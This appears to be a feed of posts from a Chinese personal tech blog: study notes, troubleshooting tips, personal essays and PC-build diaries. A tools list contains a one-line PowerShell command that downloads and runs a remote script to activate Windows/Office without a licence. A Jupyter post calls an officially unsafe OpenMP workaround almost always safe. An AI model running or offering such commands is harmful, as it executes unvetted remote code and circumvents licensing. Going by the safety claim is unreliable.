寒涛之辩

技术开发 20250504 AI 解决数学难题 lihan3238: 2028.12.31 之前,AI 会解决维基百科数学难题中的至少一个。 DaleChu: 2028.12.31 之前,AI 不会解决维基百科数学难题中的任何一个。 20251016 国内外开源社区发展前途问题 lihan3238: 2030.12.31 之前,Gitee、Gitcode 等国内代码管理平台会在行政力量帮助下迅速崛起并成为至少国内的主流代码仓库,国内开源社区也会迅速发展,涌现出一批有影响力的开源项目,监管也会随之放松。与之相对,2035.12.31 之前,国外代码管理平台会因监管趋严而一定程度衰落,国外开源社区发展不会有较大的进步:各领域主流软件开源占比逐渐下降,且不会有越来越多的重要软件开源。 DaleChu: 2030 年前,即使有行政力量推动,Gitee、Gitcode 等国产平台也不会真正“崛起”;质量依旧不高,行业认可度不足。在求职等实际场景中,Gitee 收获 1000 star 的价值仍不如 GitHub 收获 200 star。国产平台成为主流只是 GFW 加强带来的被动结果,与生态质量无关。真正值得关注的是“含金量”下降问题。未来大部分技术分享、教程、博客链接主仓库还会在 Github ,Gitee 只作为镜像仓库。优秀的中国开发者确实会产出优秀的开源软件,但与平台或政策无关。这些项目仍会优先在 GitHub 发布,以保持国际影响力。2035 年前,GitHub 受到监管的可能性不大。即使出现监管,更自由的替代平台(如 librehub、openhub)也会迅速出现,开发者将自然迁移。开源软件不会衰落,甚至会继续繁荣。未来二十年仍会出现如 GNU/Linux、Chromium、PyTorch 一样重要的开源项目。已有开源软件的闭源比例极低,可能分裂出新分支,但不会整体闭源化。 政治经济 人生抉择 20250503 四个月的 读研/就业 + 奋斗/躺平 之抉 lihan3238: 2025.12.28 之前,lihan3238 和 DaleChu 对今后的人生选择(读研、就业、生活)会出现大的改变;lihan3238 认为读研5-9年不会比就业痛苦,且最终当教授一定过的很舒服。 DaleChu: 2025.12.28 之前,lihan3238 和 DaleChu 对今后的人生选择(读研、就业、生活)不会出现大的改变;DaleChu 认为读研5-9年一定比就业痛苦,且选择润到日本或去国际学校教书一定很舒服。 其他

5/5/2025
articleCard.readMore

【Node.js + TypeScript】学习笔记

【Node.js + TypeScript】实操笔记 1. 简单介绍 Node.js 是基于 V8 引擎的 JavaScript 运行环境,可在服务器端执行 JS/TS nvm 是 Node 版本管理工具,方便切换不同项目的 Node 版本 pnpm 是高效的包管理器,替代 npm/yarn,节省磁盘空间和安装时间 TypeScript 是 JavaScript 的超集,提供类型系统和编译时检查 常见应用场景:Web 后端服务、CLI 工具、前端构建工具、插件化平台 2. 前置技术依赖 熟悉 JavaScript 基础语法 对 Linux / WSL2 命令行基础了解 3. 环境配置 系统环境:Windows + WSL2(推荐 Linux 内核一致性) Node 版本管理:nvm 安装 Node,切换版本 包管理器:推荐 pnpm,安装与验证: VS Code 配置: 安装 Remote-WSL 插件 安装 TS / Node 插件,启用自动类型提示 4. 基础用法 4.1 Node.js 基础 4.1.1 Node.js 安装与基于 nvm 的版本管理 4.1.1.1 Node.js 安装 1 2 3 4 5 6 7 8 9 10 11 12 13 14 --- ## 5. 实践案例 * **搭建小型 API 服务** ```ts import express, { Request, Response } from 'express'; const app = express(); app.get('/ping', (req: Request, res: Response) => res.send('pong')); app.listen(3000, () => console.log('Server running on port 3000')); Docker 容器化运行 1 2 3 4 5 6 FROM node:18-alpine WORKDIR /app COPY package.json pnpm-lock.yaml ./ RUN npm install -g pnpm && pnpm install COPY . . CMD ["npx", "ts-node", "src/index.ts"] 实践经验 使用 pnpm 速度快、占用少 在 WSL2 中开发,Docker 与 Linux 环境一致 6. 常见问题与解决办法 7. Tips 8. 参考资料

2/6/2026
articleCard.readMore

现代前后端WEBAPP开发_方向系统学习记录

现代前后端 WEBAPP 开发_方向系统学习记录 1. 基础概念 1.1 现代前后端 WEBAPP 思维 前端与后端高度解耦,通过 API/HTTP/Socket 通信 前端使用组件化、模块化框架(React + Next.js + TS) 后端服务微服务化或插件化,每个工具独立容器化 统一开发环境与生产环境,避免“本地可用、服务器报错” 1.2 核心技术理解 技术 作用 Windows 操作系统与 GUI 编辑器环境 WSL2 Linux 核心环境,和服务器一致 nvm Node 版本管理器,保证项目 Node 版本一致 Node.js JS/TS 运行环境 pnpm 高效包管理器,安装依赖与管理脚手架 Next.js + React + TS 现代前端框架,支持组件化与页面路由 Docker 插件化工具容器化,保证隔离和可移植性 2. 学习路线规划 阶段 学习目标 依赖 技术工具 [x] 开发环境搭建:Windows + WSL2 + VS Code Remote-WSL,Docker 容器化思维 WSL2 安装与配置、VS Code Remote-WSL、Docker&&K8s学习笔记 [ ] Node.js + TypeScript 入门:Node 运行机制、nvm 版本管理、npm / pnpm / yarn 使用、TypeScript 基础 Nodejs+TypeScript_技术工具学习记录 [ ] Next.js 现代前端开发:React + Next.js + TS、组件化开发、页面路由与 API 路由、插件化平台思维 Next.js 官方文档、React 官方文档、UI 组件库(Ant Design / Tailwind UI)、Docker 容器化工具 基础知识 了解前后端解耦与现代 WEBAPP 架构 HTTP/HTTPS、RESTful API、GraphQL、微服务与插件化服务思维 掌握模块化与依赖管理概念 CommonJS / ES Module、模块加载机制、包管理器原理 熟悉前端组件化设计与状态管理 React 组件设计模式、状态管理(Zustand / Redux / Context API) 产出学习 能搭建插件化 WEBAPP 平台,整合前端页面与 Docker 插件工具 Node + Next.js + Docker API 调用、前端组件化开发、插件化工具集成 通过小项目练习技术链 小工具插件(音乐播放器、计算器、小游戏、AI Agent)容器化 + 前端调用 建立完整开发与部署流程能力 Windows → WSL2 → nvm → Node → pnpm → Next.js → Docker 插件化平台 3. 技术依赖 Node.js 官网 nvm GitHub pnpm 官网 Next.js 官网 Docker 官网 VS Code + Remote-WSL 插件 4. 相关资料链接 React 官方文档 Next.js 官方文档 Node.js 模块系统 pnpm 文档 Docker 官方文档 5. 学习过程记录 2026-02-06 理解现代前后端解耦 + 插件化平台思想 搭建 Windows + WSL2 开发环境,VS Code Remote-WSL 测试 2026-02-07 安装 nvm,切换 Node 18,理解 Node 运行机制 熟悉 npm / pnpm / yarn 区别,选择 pnpm 作为包管理器 2026-02-08 使用 pnpm create next-app 初始化 Next.js + TS 项目 理解模块系统:.js / .mjs / CJS / ESM 开始规划插件化工具目录结构 2026-02-09 每个工具独立写 Dockerfile,测试容器启动与端口映射 前端通过 API 路由调用 Docker 插件,实现初步平台功能 整个开发流程在 WSL2 + Docker 环境下稳定运行 6. 技术流程图 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Windows (GUI + 编辑器) │ ▼ WSL2 (Linux 环境) │ ▼ nvm (Node 版本管理) │ ▼ Node.js (JS/TS 运行) │ ▼ pnpm (包管理与项目脚手架) │ ▼ Next.js + React + TypeScript (前端页面 + 组件化开发) │ ▼ Docker (插件化工具容器化,隔离服务) │ ▼ 现代前后端 WEBAPP 工具平台 核心思维:环境统一 → Node 版本稳定 → 高效依赖管理 → 组件化前端 → 容器化服务 → 插件化平台

2/6/2026
articleCard.readMore

南山困

南山困 燕雀狂论凌云志, 俗子终堕亮马桥。 定福诸君弃我去, 东祥万苦乱我心。 寻常谈笑皆成谶, 赌书茶香无处寻。 秦川百里重重锁, 夜梦襟衫片片湿。 ———— 2025.12.18 于 西工大 小记 四个月就让我失去了所有希望与自信,难受,还是难受。

12/28/2025
articleCard.readMore

随想251226论挂科

1 2 3 弃我去者,昨日之日不可留; 乱我心者,今日之日多烦忧。 ————《宣州谢朓楼饯别校书叔云》李白 数学,挂科 小时候一直觉得自己喜欢与擅长数学,不论是无意中在父亲工作报表中捉了虫,还是在隔壁的培优班考试中拔得头筹,都让我一次又一次地确认了这一点。 初三时,隐约意识到了一个问题,似乎其他同学做题时都在套用模板、公式,而我往往从最基础的公式开始推导,别人几行解决的题目交给我经常是满满当当的一页过程。于是我第一次开始怀疑自己的学习方法有问题。 读高中前的竞赛选拔中,一周速成线性代数的课程我在第二天就放弃了,我渐渐接受了数学不是我的强项。到了本科阶段,我很快进入了一学期不听课,到考前几天开始速成的状态,得益于老师的“菜菜,捞捞”,每次数学都 60 分及格,这也进一步让我放松了压力,一次又一次地推后速成的时间————极端时,下午考试,上午才开始看书、看网课。 其实本科有的课也不能说捞,基本得益于 CUC 老师的善良,再怎么觉得铁定挂科,最终都能捞一个六十分万岁,我真的感觉自己运气爆棚了。 运气,实力还有自信 这一次恐怕幸运女神不会再眷顾我了。二十三年的经历对我而言,总是不够踏实的,从小升初考外初 97 分过线开始,似乎每次关键的考试我都充满了运气:元调、中考、高考、本科数学、保研……讲真,我并不相信自己是凭实力走过这一路的,每一个周围的同学都有他们的闪光点,我却从来没看到自己有什么拿手好戏,CUC 的四年确实给了我不少自信,到几个月前竞选上研会主席,我的3自信心到达了峰值,我似乎真的以为自己有什么能力能做到任何自己想做的事情了。 虚假的自信在这一刻陡然崩塌,平时第一次挂科也许就是最后一根压死我的稻草吧。 我不再相信自己的能力了。 读研和我想要的人生 读研的四个月以来,我没过过一天好日子,从开学前的焦虑一直持续,在 lyx 的鞭策下,日日在工位通宵,不过是让 AI 生成了几个 G 的垃圾文件,四个月下来,身体垮了、心情炸了、自信崩了、考试挂了、玩没玩好、学没学到、人没交到,也许真的不适合读研吧。 于是我开始想,我想要什么,我想要自由,我想要不被社会规训,自由地做想干的事情:朝九晚五双休,月薪一万,随时辞职随时回来————我想这样的职业应当可以最保守地满足我的要求。前几天 wy 和 lmx 说起人生、学生时代还有二次元,我没有在儿时看动漫憧憬高年级的生活,但是确实知道了事实正如 cwt 所言“本科四年是这人生中最快乐的时间,再也不会有了”。 我的青春错过了很多,没有青梅竹马,没有跑鞋潮牌,没有篮球明星更没有中学懵懂的恋爱,我不想再错过青年时代的美好了。于是我寄希望于苦修3年,一举读博TOP2,开始享受人生。可现实是我做不到,如果三年牢完还是牢,那我在做什么呢? 我的生活已经失去了希望、失去了方向、失去了温度和色彩、失去了健康和快乐,我的生活已经失去了诗意……

12/26/2025
articleCard.readMore

python 装 texlive-full 时间过长

问题 sudo apt-get install texlive-full 安装时间超长。 原因 安装过程中有地方不兼容,需要用户回车确认。 解决 卡了就疯狂按回车

11/17/2025
articleCard.readMore

Linux 环境下 LF/CRLF 问题

问题 在 WSL 等环境使用 VSCode 编辑 .env 等配置文件后,python 等代码读取时报错,无法正常读入配置文件。 原因 不同操作系统下 文本文件换行符格式不同 系统 换行符 字符表示 ASCII Windows CRLF \r\n 回车 + 换行 Linux / macOS LF \n 换行 老式 Mac(已淘汰) CR \r 回车 WSL 下用 VSCode 打开文件编辑时,可能还是使用的 Windows 的 CRLF,Linux 下程序读取报错。 解决 .gitattributes 强制使用 LF(通常推荐) 1 2 # 在 .gitattributes 写 * text=auto eol=lf VSCode 手动切换 打开目标文件后,手动在 VSCode 优先级更改 换行符格式 其他 VS 等环境下编译 C/C++ 出现稀奇古怪的报错时,也可以尝试检查一下换行符格式是否正确。

11/17/2025
articleCard.readMore

IPv6 学习笔记

IPv6 实操笔记 1. 简单介绍 IPv6(Internet Protocol Version 6) 是下一代互联网协议,用于取代 IPv4。 主要特点:地址空间巨大(128 位)、无需 NAT、内置安全性、自动配置、更高效的路由与组播能力。 家庭与企业网络直连:每台设备都能拥有全球唯一公网地址,实现远程访问无需端口映射。 物联网(IoT):大量设备需要唯一地址,IPv6 能轻松满足规模需求。 服务器部署:云主机、CDN、网站支持双栈,提高可访问性和全球连通性。 P2P 与游戏应用:无需 NAT 穿透,连接更稳定、延迟更低。 移动网络运营商:大量使用 IPv6 避免 IPv4 地址枯竭,提升网络管理效率。 2. 前置技术依赖 VirtualBox虚拟机几种网络的区别 OpenVPN简单配置 红米ax3000t_v1刷openwrt记录 3. 环境配置 Windows 11 专业版 (可使用 Windows 远程桌面功能(RDP)) 已安装 OpenSSH 服务端和客户端 完全可控的路由器 支持 IPv6 的网络环境 4. 基础用法 4.1 配置 IPv6 路由器 IPv6 配置 很多路由器默认关闭 IPv6 功能,记得打开: 记得重启路由器以应用。 PC IPv6 配置 部分 Windows 默认也关闭 IPv6 功能,记得打开: 控制面板->网络与互联网->网络与共享中心->更改适配器设置->右击 目标适配器,选择属性->勾选 IPv6 并应用 4.2 配置防火墙 本贴以配置 IPv6 SSH 连接与 RDP 远程桌面连接为例,由于 IPv6 比较玄学,目前仅实现校园网内 IPv6 联通,麻了。 路由器防火墙配置 说实话很抽象,理论上 IPv6 会给路由器一个网段让他自己给下面的设备分配,然后 DHCPv6 会给每个设备再给一个 IPv6 地址,然后还会生成好多临时、备用 IPv6 的地址。不过主要用的还是 DHCPv6 分配的 地址和路由器分配的长期租约 IPv6。 1 ipconfig /all #查看 ipv6 地址 在 IPv6 中,一个网卡通常会 同时拥有多个地址,这是标准行为,不是异常。主要来源有: Link-local 地址(fe80::/64) 用于局域网内通信,每个网卡必有一个。 全局单播地址(Global Unicast Address,GUA) 公网可路由的 IPv6,通常来自运营商或路由器。 ULA 地址(fc00::/7) 私有 IPv6,类似 IPv4 的 192.168.x.x。 SLAAC 自动生成地址 (公网) 通过路由器广播自动生成(可能含隐私扩展)。 DHCPv6 分配地址 (公网) 由 DHCPv6 服务器下发的稳定 IPv6。 1 个 link-local + 1~2 个全局地址 + 若干临时(隐私)地址 在 IPv6 中,每个地址都有“使用状态”: ✔ Preferred 地址当前有效且优先使用 用于新建连接(出站 / 入站) ✔ Deprecated 地址仍可使用,但系统不再选择它作为新连接的源地址 已建立连接的会继续用,不会强制断开 ✔ Invalid(不在列表里) 已经过期,完全不可用 一般直接用 Perferred 的一两个地址 Windows 防火墙配置 Windows 就比较简单了,打开高级防火墙配置,入站规则加上 SSH 的 22 端口和 RDP 的 3389 就好了。 联通检查 端口联通检查 1 Test-NetConnection -ComputerName <ipv6地址> -Port <port> -InformationLevel Detailed 查看路由 1 tracert -d www.baidu.com 检查 RDP 服务状态 1 cmd /c 'netstat -ano | find "3389"' 5. 常见问题与解决办法 连不通 有时候一切都配好了,就是连不通,那就等会儿、重启,说不定莫名其妙就好了qwq 玄学 公网 Ip 理论上是公网,但是目前只能校园网内访问,也许是我没学到位,也许是学校网管干了什么。 6. tips 好心人教教我 IPv6 T_T 7. 参考资料 我也想参考 T_T 来点参考啊,我只有 GPT

11/17/2025
articleCard.readMore

Jupyter 中 Kernel restart 内核死掉问题

问题 使用 pytorch matplotlib 等包时,Jupyter 中 Kernel 莫名内核死掉,重启。 Jupyter 显示如下: 1 2 Kernel Restarting The kernel for data_op.ipynb appears to have died. It will restart automatically. Python 终端显示如下: 1 2 3 4 5 6 7 (base) PS C:\temp\code> python .\test.py qt.qpa.window: SetProcessDpiAwarenessContext() failed: Access is denied. Qt's default DPI awareness context is DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2. If you know what you are doing, you can overwrite this default using qt.conf (https://doc.qt.io/qt-6/highdpi.html#configuring-windows). OMP: Error #15: Initializing libiomp5md.dll, but found libiomp5md.dll already initialized. OMP: Hint This means that multiple copies of the OpenMP runtime have been linked into the program. That is dangerous, since it can degrade performance or cause incorrect results. The best thing to do is to ensure that only a single OpenMP runtime is linked into the process, e.g. by avoiding static linking of the OpenMP runtime in any library. As an unsafe, unsupported, undocumented workaround you can set the environment variable KMP_DUPLICATE_LIB_OK=TRUE to allow the program to continue to execute, but that may cause crashes or silently produce incorrect results. For more information, please see http://www.intel.com/software/products/support/. QThreadStorage: entry 1 destroyed before end of thread 0x1c347137290 QThreadStorage: entry 0 destroyed before end of thread 0x1c347137290 原因 OpenMP 运行时冲突,你的程序里加载了两个不同版本的 OpenMP 动态库 (libiomp5md.dll),这常见于以下组合之一: 冲突来源 原因 PyTorch + NumPy 两者都自带 OpenMP Matplotlib + PyTorch Qt 后端间接载入 MKL/OpenMP 你用的是 Conda 环境 + 多个 MKL 包 不同包加载不同版本的 libiomp5md.dll 解决 在代码中设置环境变量 1 2 import os os.environ["KMP_DUPLICATE_LIB_OK"] = "TRUE" 这条官方建议的**“unsafe workaround”在科研/绘图环境中几乎总是安全的**。 它的作用是让多个 OpenMP 实例共存,不再报错。

11/2/2025
articleCard.readMore

基于代码仓库和知识库的团队开发任务管理方案 系统学习笔记

基于代码仓库和知识库的团队开发任务管理方案 学习笔记 1. 基础概念 1.1 介绍 自读本科以来,一直希望能有一个完善的团队协作开发与任务管理方案,实现 1+1+···+1 >=n 的效果,而不是出现大量重复劳动或混乱,反而让团队合作开发的效率不如单人开发。这套方案能够将任何一个新的项目任务划分给团队成员,并实时跟踪反馈任务开发;同时,在完成一个个项目后,从项目开发过程与成果中沉淀和积累团队的技术与知识资产,也一直是我所关注的重点。 读研后,注意到导师的项目组有一套基于 Gitlab 和 Confluence 的团队协作开发与任务管理方案,简单了解下来,感觉算是目前接触到的最理想最完备,并且已经在稳定运行产出的方案了。因此决定系统性地学习和记录这套方案,方便后续自己搭建和使用。 1.2 相关概念 代码仓库(Code Repository):用于存储和管理代码的系统,常见的有 Git、Gitlab、GitHub 等。代码仓库可以实现版本控制、协作开发、代码审查等功能。 知识库(Knowledge Base):用于存储和管理知识和文档的系统,常见的有 Confluence、Notion 等。知识库可以实现知识共享、文档管理、协作编辑等功能。 任务管理(Task Management):用于规划、分配和跟踪任务的系统,常见的有 Jira、Trello 等。任务管理可以实现任务分配、进度跟踪、协作沟通等功能。 2. 学习路线规划 阶段 学习目标 依赖 技术工具 开发部署 代码仓库 环境 Gitlab 学习笔记 CI/CD 开发部署 任务管理系统 知识库 环境 Confluence 基础知识 无 无 产出学习 掌握团队协作与任务管理方法 基于 Gitlab+Confluence 的开发任务管理系统 利用方案进行产出 论文流水线、开源项目流水线 3. 技术依赖 Gitlab 学习笔记 4. 相关资料链接 Gitlab 官方文档 5. 学习过程记录 2025-10-31 开始设计整体学习笔记结构框架 研究 Gitlab

10/31/2025
articleCard.readMore

Gitlab 学习笔记

gitlab 实操笔记 1. 简单介绍 GitLab 是一个基于 web 的 Git 仓库管理工具,提供了代码托管、版本控制、CI/CD 等功能 常见应用场景:团队协作、代码审查、持续集成 2. 前置技术依赖 linux虚拟机安装与配置 Ubuntu上配置使用git Git 详细攻略 3. 环境配置 4. 基础用法 5. 常见问题与解决办法 6. tips 7. 参考资料 Gitlab 官方文档

10/31/2025
articleCard.readMore

SQLite 学习笔记

SQLite 实操笔记 1. 简单介绍 SQLite 是一个轻量级的关系型数据库管理系统,采用嵌入式架构,数据库引擎直接集成在应用程序中,无需单独的服务器进程。SQLite 使用 SQL 语言进行数据操作,支持大部分 SQL 标准功能。 常见应用场景: 移动应用:如 Android 和 iOS 应用常用 SQLite 作为本地存储解决方案。 桌面应用:许多桌面软件使用 SQLite 存储用户数据和配置。 嵌入式系统:由于其轻量级特性,SQLite 常用于嵌入式设备中。 浏览器:一些浏览器使用 SQLite 存储书签、历史记录等数据。 2. 前置技术依赖 MySQL 3. 环境配置 官网下载SQLite 下载的预编译二进制文件,选择适合你操作系统的版本进行下载。Windows 用户可以下载 sqlite-tools-win-x64-xxxxxx.zip。 解压缩后,将解压后的文件夹路径添加到系统的环境变量中。 打开命令行终端,输入 sqlite3,如果看到 SQLite 的提示符,说明安装成功。 1 2 3 4 5 6 PS C:\Users\xxx> sqlite3 SQLite version 3.50.4 2025-07-30 19:33:53 Enter ".help" for usage hints. Connected to a transient in-memory database. Use ".open FILENAME" to reopen on a persistent database. sqlite> 安装合适的数据库管理工具(可选) 我选择 DB Browser for SQLite,下载地址:DB Browser for SQLite 4. 基础用法 见 SQLite Commands 5. 常见问题与解决办法 6. tips 7. 参考资料 SQLite Tutorial SQLite 官网 DB Browser for SQLite

10/31/2025
articleCard.readMore

Word 中使用交叉引用

问题 使用 Word 文档写论文时,实现可跳转的 交叉引用 功能时,遇到一些问题。 解决 1. 插入交叉引用 给参考文献插入标号: 选择开始-段落-编号,选择定义新编号格式: 将编号格式设置为[1],点击确定: 选中待编号的参考文献,点击新建的编号即可插入标号: 选择正文中要插入交叉引用的位置,选择引用-交叉引用并选择指定的参考文献: 选中编号,右键打开菜单并点击字体,勾选上标,点击确定: 2. 交叉引用变上标的快捷键 选中标号,按下 Ctrl + Shift + = 快捷键即可切换为上标,再次按下则恢复为正常文本。

10/31/2025
articleCard.readMore

lihan的电脑必备工具

Windows 自带 装好电脑和驱动 Win + V 打开剪贴板历史 文件资源管理器->查看(View)->显示(View)->显示隐藏的文件 + 显示文件扩展名 设置->可选功能->添加功能->OpenSSH 客户端 WSL 2.0 激活 Windows/Office irm https://get.activated.win | iex 必备软件 keepass 浏览器插件 KeePassXCBrowser chrome firefox 浏览器插件 沉浸式翻译 VSCode Clash Verge Everything Snipaste 7-Zip Steam Git Burpsuit Cheat Engine SMS-Activate AxureRP10 matlab 图吧工具箱 golang anaconda docker CrypTool 2 Postman Wireshark

10/14/2025
articleCard.readMore

装机随想_251007

计算机小谈 似乎从小就习惯了家里有一台电脑,从幼年在西安家里的上古 Windows XP 开始————我至今仍记得那个最开始米黄色的机箱,卡住了的光驱,还有半梦半醒时零星忆起的抢滩登陆类游戏,到武汉家里的十年老将、父亲的 ThinkPad 笔记本,再到手上正在码字的第一台自己的笔记本,电脑好像一直在我的生活中,以至于当我听说周围同学家里没有电脑时,有一刹那惊讶。 什么时候开始意识到计算机一个工具而非家具我已记不清了,也许是那一晚在卧室门前,听父亲说起给家里的电脑装了 Windows 8,又或者是那一次父亲打开电脑命令行用shutdown命令设置了定时关机被我百度出破解命令,或者是初中毕业的那个暑假被父亲不情愿地拽到电脑前跟着中国大学 MOOC 学习 C 语言……不论怎么说,我与计算机的缘分有着父亲不可磨灭的功劳,这也让我从第一次决定大学专业时就坚定地选择了学计算机。时至今日,谈起高考志愿,我常跟朋友说,我让父母操办了全部的志愿填报,唯一坚持的一点就是“全部填计算机”。 坦率地讲,我的计算机学得并不好,我时常怀疑自己现在的 C++ 水平是不是自从高中前的暑假就没进步过了(可能还退步了😭)。只能说我的计算机理论知识比实操更糟糕,也许这就是又菜又爱玩吧哈哈,我总是对计算机技术饱含着浓烈地兴趣。 2021.07 我的第一台电脑 手上正用着的这台笔记本是父亲在高考后送给我的,当父亲问我电脑的需求时,我自信且不耐烦地说:“编程能力强就行,容量大就行”。当父亲问起 GPU 时,我更加不耐烦了:“反正我也不玩电脑游戏,没事不用好显卡”。讽刺地是,开学没两周,我就在 sakurasnow 的“引诱”下(指看着他玩 Mirror)从下载 Steam 开始了我疯狂的电脑游戏生涯。 型号:(惠普战99)HP ZBook Power 15.6 inch G8 Mobile Workstation PC CPU:Intel Core i7-11800H GPU:NVIDIA T600 4GB RAM:32GB DDR4 3200MHz Storage:1TB NVMe SSD Samsung PM9A1 Display:15.6 inch FHD (1920 x 1080) IPS, Anti-Glare, 250 nits, 45% NTSC OS:Windows 11 Pro 64bit Price:约 10000 RMB 虽然这台笔记本的 CPU 和 RAM 在当时已经是顶中顶,但 GPU 游戏性能约等于 GTX 1650,时至如今(甚至不用到如今,大二时候闲鱼就4000了)已经折价一半有余了。不过 32GB 的内存和优秀的 CPU 让我在使用电脑的前两年里不知卡顿为何物,不在意画质的我使用这台电脑也能畅玩所有的游戏,体验感属实拉满了。 第一次想着折腾电脑应该是因为 C 盘爆炸了。一开始电脑被父亲预先分好了盘,虽说 1TB 的 SSD 在同学里已经算大了,200GB 的 C 盘理论上也够用了,但在我荒淫无度的挥霍下还是撑满了。于是经过一番研究,我选定了 西部数据的 SN770 1TB 作为加装的 SSD。 22 年 11 月,在什么都不知道的情况下,我拆开了笔记本电脑后盖(属实费了一番功夫),成功装上了固态。说实话当时真害怕扣上后盖后电脑无法开机,屏幕正常亮起时我属实松了口气。 后来不时用糟糕的手法手动清理了几次灰尘,捣鼓了下分区,这台电脑就一直跟我征战到了今天,可谓是老战友了。 2025.06 我的第一台台式机 换电脑的想法其实出现地很晚,也许是没见过光明就不觉得黑暗吧。直到大三开始时,几个舍友讨论起 40系列的显卡,lcy wy 都买了新的笔记本,我才开始有买新电脑的想法。 到了大四,笔记本开始出现各种毛病,我一度准备买新的笔记本,不过莫名其妙笔记本又好了点,遂打消了想法。说实话,直到最近一两个月高强度打三角洲,特别是用过家里新配的 5060ti 台式机后,面对十几帧的三角洲游戏画面,我方才感觉换电脑是刚需。 毕业是痛苦的,回到家后,父母安排的琐事让我在忙碌中没时间感伤,家里的老电脑的几近报废也让我和父亲终于下定决心配一台台式机。 又是几天的熬夜,在b站、贴吧、小黑盒等平台初步了解了台式机的各个配件知识后,基于父亲决定的 Intel U7 265K ,我又选择了 5060ti 16GB 版本的显卡,配上红米的廉价 4K 显示器,最终决定了以下配置: lihan PC 台式机 Display:Redmi G27U 27 inch 4K 160Hz CPU:Intel U7 265K Motherboard:微星 B860M MORTAR 迫击炮 WIFI GPU:NVIDIA RTX 5060 Ti 16GB 影驰 金属大师 RAM:16GB*2 DDR5 6000MHz c28 A-die 宏碁掠夺者冰刃 Storage:1TB NVMe SSD SN7100 西数黑盘 POWER:650W 全模组 金牌 安奈美 金竞蝠GM750W Cooling:九州风神 冰果360 Case:隐刃 H600 V2 主板选了 PDD 廉价板U套装,在小黑盒推荐下选择了迫击炮主板,内存看准了 6000MHz c28,不过现在看来,Intel 也许可以不止 6000MHz。固态选择了老朋友 SN770 的升级版 SN7100,水冷则选择了稳定好看的冰果,电源不敢马虎,怕爆炸了,选了个安奈美,机箱则是随意挑的,到机箱这里我已经筋疲力尽了。 一套下来,板u 3000,显卡 4000 ,固态 1000,内存 1000 ,水冷机箱电源 1000,显示器 1500 ,总共 11500 左右,不过是给家里配的,价格我倒没太纠结。 实际体验来看,至少在游戏上是夸张地飞跃了,4K 画质的视频也很舒服。唯一的问题可能是我不知道水冷上面自带了硅脂,盖上又拿起来,蹭歪了一部分硅脂,也许导致了 CPU 温度在烤机时一度超过 100 度,吓得我赶紧关机了。后面有机会的话我打算重新涂硅脂。 装机教程我在 B 站找了不少,感觉有一个就够了————硬件茶谈-【装机教程】全网最好的装机教程,没有之一,顺着看一遍,然后跟着装一次,配合说明书,基本没问题。装机花了我两个半天,不到一天就一次亮机成功(其实因为 HDMI 线的问题一开始没亮起来 TT),非要说难点,就是主板上装 CPU 和内存条这俩地方太紧了,一开始怕大力出奇迹了一直弄不开。 2025.10 我的第二台台式 第一台台式装完,理论是放家里代替旧电脑给爸妈使用的,特别是之前送妈妈一个数位板,想要她学画画,可惜受限于原来的垃圾电脑,此外父亲也有跑代码的需求。不过旧电脑在装新机时顺带换了个硅脂,好像还是能凑合用,父亲遂一直想把新电脑给我用,自己继续用旧电脑,我坚决拒绝了。 于是乎,在研究生开学后,我一直在考虑真正自己的新电脑。一开始想着先搞个笔记本,在笔记本吧看了推荐,最终看上了 9999 元 9950hx+5070ti 的机械革命 蛟龙16pro,不过由于陕西傻逼的国补根本抢不到,遂迟迟没有下单。 开学后,用校园网的服务器做网络代理,成功用 OpenVPN 实现了校园网下的 ip 访问,遂想起我一直以来的想法:搞一个高性能台式机放家里,买个便宜的高续航轻薄本远程连接使用。于是乎,我开始了第二台台式机的配件选购。随着提前购买的同款红米显示器到货,我算是上了台式的贼船了。 国庆七天假期,我大部分的娱乐恐怕就是在 PPD TB JD DY 还有 小黑盒 贴吧 B站 抖音 上研究电脑了。一方面我要考虑性价比,一方面我希望配一台战10年的电脑,撑到我开始赚钱,所以又熬了几夜,最终选定了配置: lihan PC 台式机 2.0 整机合计 14,485.98/无显示器合计 13136.99 Display:Redmi G27U 27 inch 4K 160Hz JD 1348.99 CPU:Intel U7 265K PDD 板U套装 3354 Motherboard:微星 MAG Z890 TOMAHAWK WIFI GPU:NVIDIA RTX 5070ti 16G 铭瑄 瑷珈 PDD 6299 RAM:24GB*2 DDR5 8000MHz c38 M-die Asgard 女武神 瓦尔基里Ⅱ DY 1439 Storage:2TB NVMe SSD SN7100 西数黑盘 DY 840.89 POWER:850W 全模组 金牌 Tt 钢影GF1 限定版 JD 472.47 Cooling:九州风神 冰果360Pro DY 415.45 Case:先马 风洞Pro + 3 境界v3 风扇 JD 316.18 配件: 轧带 2.72 JD Plus会员 79 螺丝刀 28.28 显示器最终还是决定上4K,遂选了老朋友,CPU 考虑工作遂还是 265K,主板研究了很久,还是决定上个好点的入门 Z890,毕竟 CPU 带 K,万一超频呢。显卡本来在由于 5060ti 还是 5070ti,毕竟差价不少,不过一方面考虑不要重复,一方面 PDD 出了个新品5070ti 16G 铭瑄 瑷珈,6299 于是昨晚就下单了。Intel IPO(Intel Performance Optimization)是新出的一个官方超频方案,仅支持特定主板、CPU和内存组合,遂选了了 8000MHz 的 M-die 内存。不过这个 IPO 很奇怪,似乎是官方年初推了半年,突然销声匿迹了,官网都没相关信息,要不是京东有 Intel 自营的 IPO 套件,我都怀疑是个骗局。电源和水冷小提升了下,由于 GPU 好像不是纯白,遂放弃纯白机箱计划,选了个先马风洞 Pro,看看双色混搭怎么样。 等到10.10 双十一下单,后面看看装机效果吧。 —分割线— 今天双十一开始,发现价格没便宜,甚至有的更贵了,昨天在 JD 买了机箱和 PLUS 会员,结果今天基本没用到。大头在 PDD 和 DY,气死我了。等后天到齐装机吧。 —分割线— 从下午 2:30 装机到 6:30,除了主板一些变化和内存条没插紧,一切顺利。等吃完饭回来装系统,没用买主板给的装机 U 盘,用自己做的美版 Windows 11 启动盘,结果发现一个驱动没有,甚至没有无线网卡驱动、蓝牙驱动、以太网驱动,还好能用 USB 共享手机热点。装驱动后需要重启电脑,重启后发现卡在主板 LOGO 页面了,试了 17 次重启均失败,等出现了 Windows 系统 load 失败提示后遂重装系统,折腾到凌晨 5 点才睡。 装机 tips 固态一般主板都有几个插槽,找不到那就是被散热装甲盖住了,系统盘优先装在与 CPU 直连的 M.2 插槽上(一般是第一个) 内存条插入一定要先左后右使劲压下去 神光同步及所有风扇都要串联 操作系统装一般识别不到网卡,可以用手机开 USB 共享热点 装机在空 U 盘上下个启动盘 为 Windows 创建安装媒体 